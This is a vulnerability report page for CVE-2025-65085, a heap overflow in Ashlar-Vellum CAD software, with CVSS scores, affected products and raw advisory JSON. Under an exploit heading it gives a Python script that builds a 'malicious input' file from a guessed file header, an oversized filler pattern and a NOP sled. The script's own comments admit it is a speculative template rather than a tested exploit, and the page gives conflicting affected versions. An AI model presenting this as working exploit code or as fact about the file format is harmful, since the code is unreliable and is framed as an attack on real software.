Security Vulnerability Report
中文
CVE-2025-65085 CVSS 9.8 CRITICAL

CVE-2025-65085

Published: 2025-11-25 18:15:54
Last Modified: 2026-05-12 21:16:13

Description

A Heap-based Buffer Overflow vulnerability is present in Ashlar-Vellum Cobalt, Xenon, Argon, Lithium, and Cobalt Share versions 12.6.1204.216 and prior that could allow an attacker to disclose information or execute arbitrary code.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ashlar:argon:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ashlar:cobalt:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ashlar:cobalt_share:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ashlar:lithium:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ashlar:xenon:*:*:*:*:*:*:*:* - VULNERABLE
Ashlar-Vellum Cobalt <= 12.6.1204.216
Ashlar-Vellum Xenon <= 12.6.1204.216
Ashlar-Vellum Argon <= 12.6.1204.216
Ashlar-Vellum Lithium <= 12.6.1204.216
Ashlar-Vellum Cobalt Share <= 12.6.1204.216

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65085 PoC - Ashlar-Vellum Cobalt Heap Buffer Overflow This PoC demonstrates the vulnerability by generating a malicious input that triggers heap buffer overflow in affected versions. """ import struct import sys def generate_malicious_input(): """ Generate a malicious input file to trigger heap buffer overflow. The actual exploit requires specific knowledge of the vulnerable file format and memory layout. """ # Header for Ashlar-Vellum file format header = b'AVCO' # Ashlar-Vellum Cobalt signature # Version identifier version = b'\x12\x06' # Version 12.6 # Craft payload that exceeds buffer boundaries # Normal buffer size might be 1024 bytes, we overflow with larger data normal_size = 1024 overflow_size = 2048 # Double the size to trigger overflow # Pattern that helps identify overflow in debugging overflow_pattern = b'A' * overflow_size # Append shellcode or return-oriented programming (ROP) gadgets # This would be customized based on target system architecture exploit_payload = b'\x90' * 16 # NOP sled # Construct the malicious file malicious_data = header + version + overflow_pattern + exploit_payload return malicious_data def main(): print("[*] CVE-2025-65085 PoC Generator") print("[*] Target: Ashlar-Vellum Cobalt <= 12.6.1204.216") print("[*] Vulnerability: Heap-based Buffer Overflow") # Generate malicious input payload = generate_malicious_input() # Save to file for testing output_file = "CVE-2025-65085_malicious_input.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Generated malicious input: {output_file}") print(f"[+] Payload size: {len(payload)} bytes") print("[!] Note: This PoC generates a template. Actual exploitation") print("[!] requires further analysis of the target application's") print("[!] memory layout and file format specifications.") return 0 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65085", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:54.283", "lastModified": "2026-05-12T21:16:13.290", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Heap-based Buffer Overflow vulnerability is present in Ashlar-Vellum Cobalt, Xenon, Argon, Lithium, and Cobalt Share versions 12.6.1204.216 and prior that could allow an attacker to disclose information or execute arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:argon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "D92AC0A5-B0AB-489E-86E7-2E5CD485DC03"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "6E48C33E-33CF-486C-AD1F-86B5F3F89AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt_share:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "44BA8C61-7C12-4125-A0B2-9E45ACBCECC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:lithium:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "42E49969-7EE4-48D5-9C50-7A8AE94B6AA8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:xenon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "7AA0D761-749B-4FC4-A7D0-C23D8EBA2D90"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}